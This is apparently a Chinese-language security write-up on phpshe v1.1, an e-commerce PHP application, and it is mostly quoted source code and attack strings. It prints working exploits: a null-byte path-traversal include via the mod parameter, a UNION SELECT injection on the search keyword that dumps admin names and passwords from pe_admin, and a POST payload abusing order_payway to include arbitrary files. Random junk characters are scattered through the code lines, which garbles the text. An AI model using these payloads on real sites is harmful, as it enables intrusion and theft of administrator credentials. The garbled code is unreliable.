phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
; [$ L+ Z0 g( P* v; Q) @/*******************************************************/
0×00 整体大概参数传输
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3 i5 V/ s+ `/ K, x3 m* L//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
  I+ ?3 L# L) j; K!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
8 K( e7 R( U3 q/ f}
5 U' f1 F! K4 felse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
% i7 {/ z, ^# g; k# ~9 \!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
. y) G6 x- b* y) l- Z/ u, U}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
" z3 c4 t( B  c# W, }
0×01 包含漏洞

: C6 M' V7 ]- I; O2 `- y
//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
( o4 v/ U4 c) [$ x3 Zpe_result();
2 o8 a) w" s0 q  w( w7 t?>
* z  U, w) n; X9 E' K9 c1 F, c//common 文件 第15行开始
- P( O. @* I, R' p& W8 u2 [url路由配置
9 h- p) ~) V9 `  l# f) Y$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入
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* b$ L+ Q7 c6 o6 f: r6 Y7 R- I<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
6 h8 y( B- }; b; O# ^# {# Qpe_lead('hook/category.hook.php');
) l5 W# r# {( U3 ?- {( wif ($category_id) {
8 Q5 \# l, U1 ^1 f3 O0 Qwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
" J% \5 B# c4 T5 s: b6 W}
' D5 h# C; S& N- ?* z4 }$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
  v  c) S8 G8 c/ }8 {, eif ($_g_orderby) {
( B2 ]/ N( Z& a* a, `$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
/ u" G! {8 Q' Jelse {
# l0 ~4 X" o2 y2 O$sqlwhere .= " order by `product_id` desc";
- p6 A* Y6 J1 W. r2 {}
+ i- ]/ A1 T1 F; Q% F$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
1 z: \3 G9 G) O9 @1 m//热卖排行
$product_hotlist = product_hotlist();
//当前路径
( Z" E/ o; G( c! {3 Y$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
& b( q0 k7 N% ]* |( Q* dpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
) y( Q' |8 j) k0 e# Y  X{
1 @+ F- }1 N9 `  [- B//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
9 m6 `0 V% V2 w5 ~//exp
- \& r9 g& ?) R6 A$ w/ ^( Kproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
; M& F$ f" z/ T$ |1 ~

</code>

3 P6 g3 x2 @$ i# N) O" h0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

7 y! E6 v8 y$ i# W$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

! \( Y! N. E; |3 m6 y, Tforeach($cache_payway as $k => $v) {

+ c; C% o0 o* B4 U9 C8 O9 [$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

% ?; w9 c: k7 h. s1 n1 K* |+ q$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

+ X. w0 u3 u4 |2 `. w}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

, a  [; b  Z  \% O. a$ e  x0 S!$order['order_id'] && pe_error('订单号错误...');

, W& y6 N& y8 t) p2 d. m5 Tif (isset($_p_pesubmit)) {

: z' p- g2 G2 C4 t5 ?if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

0 B4 O) N+ N3 U( M1 \( q' r$order['order_name'] .= "{$v['product_name']};";
2 O* z4 u5 M, x. f: J

}

echo '正在为您连接支付网站，请稍后...';

; K$ y) e+ E$ e6 o- Linclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

8 M* {9 K( x5 B, }" |}//当一切准备好的时候就可以进行"鸡肋包含了"

. @; Z; m& h$ {6 X0 i5 W* L% Jelse {

pe_error('支付错误...');

}

+ W) W  R, [5 k1 J$ S}

$seo = pe_seo('选择支付方式');

2 q4 P+ @$ }; A7 zinclude(pe_tpl('order_pay.html'));

! j( w+ x( R" o5 X$ X1 Zbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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